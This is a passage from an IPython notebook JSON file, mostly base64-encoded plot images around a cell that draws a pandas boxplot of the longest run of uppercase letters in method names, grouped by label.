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\nABqENQAAADRsjOURoXDkn70AAAAASUVORK5CYII=\n", + "text": [ + "" + ] + } + ], + "prompt_number": 149 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('method_name_uppercase_run_longest', 'label')\n", + "plt.ylabel('Max length of upper case letters')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 150, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\nvv4